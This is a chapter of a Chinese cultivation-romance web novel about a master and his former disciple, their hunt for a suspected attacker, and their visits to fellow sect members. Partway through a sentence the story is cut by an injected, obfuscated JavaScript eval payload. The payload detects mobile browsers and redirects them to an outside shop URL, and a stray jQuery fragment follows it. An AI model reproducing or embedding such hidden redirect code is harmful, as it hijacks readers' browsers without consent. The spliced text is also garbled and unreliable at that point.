“给你买的绿豆糕。”
温飞雪把袋子放在桌上。
“玠之。”陆言卿唤他。
温飞雪稍微有些别扭:“长宁。”
“欸。”陆言卿眉开眼笑地应下。
温飞雪催他:“快吃吧,等会儿绿豆糕冷了。”
陆言卿却不动。
他眼睛眨也不眨地盯着温飞雪,温飞雪,被他看得害臊:“总是看我做什么?”
“温玠之,我心悦你。”
温飞雪抿了抿唇:“我可没答应。”
陆言卿笑:“我知道啊。是我想再说一遍,再和你强调一遍而已。”
温飞雪不想和他说话。
这人怎么蹬鼻子上脸呢?
筑影阁,温飞雪重新问了一遍:“你确定修士说的是他,没有看错?”
楼恹点头:“看到那个人的修士也不多,但只要看到了,都说是万寿仙尊。”
这就棘手了。
怎么会是他?
但是联想到万寿仙尊近年来日益露出的老态,其实也算不上奇怪。
他已经快要到年龄,如果再不能飞升,就只能陨落。
沈青屏天资不差,修炼了这么多年,修为已臻极致。还不飞升,如果不是有所留恋,剩下差的,就是天道之力了。
温飞雪之前对他太信任,听他说是觉得自己年纪大,作为长辈,和小辈站在一起,竟看着像是兄弟,总归不妥,因此故意让自己的面貌到中年,就信以为真。
整个修真界这样做的人虽然少,但也不是没有。
楼恹面色严肃:“我就只能帮你们查到这儿。至于你们打算干什么,我不知道也不参与。你们两人从未来过我这儿,知道吗?”
“你放心。”温飞雪颔首。
走在回洛隐门的路上,温飞雪还是在纠结:他究竟是直接冲到雾禅峰去找万寿仙尊问个清楚,还是从长计议,抑或是……干脆将此事揭过去?
温飞雪在脑海中否决了最后一条。
不论如何,伤了陆言卿,他是一定要去讨个说法的。
需要从长计议吗,从长计议干什么呢?
就算沈青屏不认账,他和陆言卿两个大乘期,还能被他压得还不了手了?
“走,去雾禅峰。”温飞雪眉眼凛冽,气势汹汹。
陆言卿巴不得如此。伤了温飞雪的人,他都恨不得将之千刀万剐。
御剑御到一半,温飞雪突然停下。
“……万一不是沈青屏,我们贸然前去,会不会不太好?”确实也是这样的。路过修士的话只能证明沈青屏去过那里。
陈致是幻境,他的话也存疑,但温飞雪觉得应当不错。至少整个逻辑能串起来。如果是假,总会有漏洞。
“……”陆言卿沉默。
“那就说我们是去找澈冽的。以前我就经常去,现在再去找也不奇怪。刚好我也去看看他。”温飞雪找好理由,一锤定音。
温飞雪自顾自说着,没注意到陆言卿看他的眼神越来越幽怨危险。
“玠之啊——”陆言卿开口,“你说,我这心里怎么这么难受呢?”
温飞雪白他一眼:“我管你。难受憋着。”
陆言卿想去拉温飞雪的手,被温飞雪一掌拍开。
陆言卿整个人现在酸得能拧出汁。
他知道温飞雪和澈冽没什么,也知道他们两个之间不太可能有什么。而且温飞雪也没答应他,只是给了他个机会。
但这和他吃醋心酸冲突吗?
不冲突。
陆言卿其实有些手足无措。
他很想和温飞雪靠得再近一些,很想抱抱他亲亲他,很想很想和温飞雪在一起。
但他不知道该怎么去做。
他会潜意识地对他好,在乎他的感受,帮他做一些能让他开心的事。
他当徒弟的时候也是这么做的。
除此之外,他不知道该怎么做了。
他尝试过一些举止语言。不用温飞雪说,他自己都觉得油腻。
他究竟该怎么做?
陆言卿不知道。
他只能跟在温飞雪背后暗戳戳地心酸。然后收拾好心情,重整旗鼓。
雾禅峰。
温飞雪往山门石碑处注入灵力。一刻钟后,一个白衣人影落到他们面前。
“玠之。”来人是澈冽。
“澈兄。”
“上去坐坐吧。”
“好。”
这么多年没来,两人曾经又出了那样的乌龙。就算当事人都装着忘记,气氛也还是尴尬。
“玠之今日来是做什么?”澈冽坐在两人对面,提起茶壶给茶盏里倒了茶。
温飞雪故作熟稔:“没事就不能来找澈兄了吗?当年我和澈兄如此亲密,在澈兄这里留宿都是有的。怎么现在感觉生疏了?”
是生疏了。
澈冽笑笑:“怎么会?玠之能来我自是高兴。”
陆言卿现在不酸了,听着他们说话,在旁边都替他们两个尴尬。
温飞雪哈哈笑了两声,装作不经意道:“怎么没看见万寿仙尊?以往我每次来,总是能看见他的。”
澈冽毫无所察,眉心几不可见地一动,道:“师尊近日出门了。说是要去拜访一位故人。”
“这样吗……”温飞雪掩盖住自己的失望。
陆言卿一句话也没说。温飞雪和澈冽又闲话了几句,聊得不知东南西北,看着天色渐晚,就告辞离开。
*
小城镇内,气质卓然的女子给面前的中年男子倒了杯茶:“您今个儿怎么有空到我这来了?”
中年男子端起茶盏:“想过来便过来了。怎么,不欢迎么?”
女子掩唇:“您能来我自然是高兴的。这不是受宠若惊了吗?”
“听说你最近又学了一支舞?跳给我看看。”男子饶有兴趣。
“就是专门为您学的。跳得若是不好,您可不要嫌弃。”女子撒娇一般的口吻。
“我们相识如此之久。你也该了解我的脾性。疼你爱你还来不及,如何会嫌弃你?”男子踱步靠近。
“那就请您多多担待了。”女子水袖一甩,眼波流转间,勾得男子略微失神。
……
一夜春宵度。
*
回到洛隐门,温飞雪本来就去了惊鸿,打算找他三师姐。
算了算日子,再下一次仙界大比好像就该武羲领队了。
谁承想,武羲竟然不在?
听陆言卿说,近些年武羲不知怎么的起了兴趣,和殷芊芊一起给她惊鸿养上了弟子。每天带着一群小姑娘小少年在演武场附近练习曲艺,把那块都变成了许多修士学习静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175319|138907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
修之法的地方。已经很多年没有离开洛隐门了。
温飞雪随手抓了个扎着朝天髻的小弟子:“你可知道昭阳仙尊去了哪里?”
小弟子睁着大眼睛,声音清脆:“师尊么?我知道呀。我听别的师兄师姐说,好像说是师尊本家出了些事,师尊就和师娘一起回去啦。才刚走呢。”
“真乖。”温飞雪揉了一把小弟子毛茸茸的脑袋,让人走了。
他有些奇怪地对陆言卿嘀咕:“最近是怎么了?怎么我找一个人,一个人就不在?”
陆言卿哪里知道?
“没事的玠之。你找我啊,不管你什么时候找我,肯定都在。”
“……你滚开。”温飞雪又把陆言卿推到边儿去。
武羲确实是不常离开洛隐门了。但她家里确实也是出了事。
之前帮她管理惊鸿的本家弟子自从半年前回了次武家,就再没回来。
武羲刚开始还没放在心上。但过了那么久还没回来,甚至连书信也不曾见的一封,就有些可疑了。
听着武家所在的淄州崇安城那边传来的消息,隐隐约约的,好像是封了城。
殷芊芊传信去问她父皇,她父皇却说不知晓这事,崇安那边也没什么问题,官员的折子每月准时送达,不像是封了城。
武羲听了这样两相矛盾的答案,疑心愈盛。思来想去,还是决定自己去亲自看看。
那个本家弟子已经是元婴后期,做事又非常负责,无缘无故,不像是能做出几月不归,甚至连音讯也不通一封来解释原因这样事的人。
殷芊芊自然也要跟去看看。
不说她愿不愿意离开武羲,就说在皇朝,她作为皇朝千娇万宠的小公主,行事比武羲不知道方便多少。
眼下他们二人才走不到一个时辰,温飞雪着实是赶得不巧。但凡再早上那么一时半刻,也能见到人了。
那这下干什么?
温飞雪一时没了主意。
陆言卿倒乐意有这个空闲:“玠之,我最近新学了一道菜,你还没吃过,我做给你尝尝。”
温飞雪半推半就,被陆言卿带上了霆霓峰,按坐在流春亭。陆言卿自己则去了后头的小厨房,给温飞雪做饭去了。
温飞雪干坐了一会,实在是坐不住,溜去后厨看陆言卿做了什么。
老青松一眼就瞧见了他:“好你个臭小子,这都多久没来看老夫我了?老夫我都要闲得发霉了!”
听到熟悉的声音熟悉的调调,温飞雪心里一下子变得舒畅,干脆利落地回怼回去:“发霉了那不刚刚好?长些蘑菇陪着您老,您老就不会再无聊了。”
陆言卿在厨房里听见一人一树吵嘴的声音,有些欣喜地朝外面喊:“玠之是你吗?再等等,马上就好了!”
温飞雪提高声音回:“没事,你慢慢做!我就和老头子吵个架!”
老青松在树上变出张脸,深褐色的眼睛怀疑地看向温飞雪:“以前这小子到厨房做饭,不知道把厨房炸了多少次,我每次问,他都说他在学新的菜式,学好了给你这个师尊品尝。师尊来师尊去的,不知道多恭敬。现在怎么突然叫起了你的字?”
温飞雪没打算瞒着老青松:“这小子想与我结契为道侣。”
树干上的脸被温飞雪这句话又吓了回去,但光从声音里也能听出老青松的震惊:“你们可是师徒!”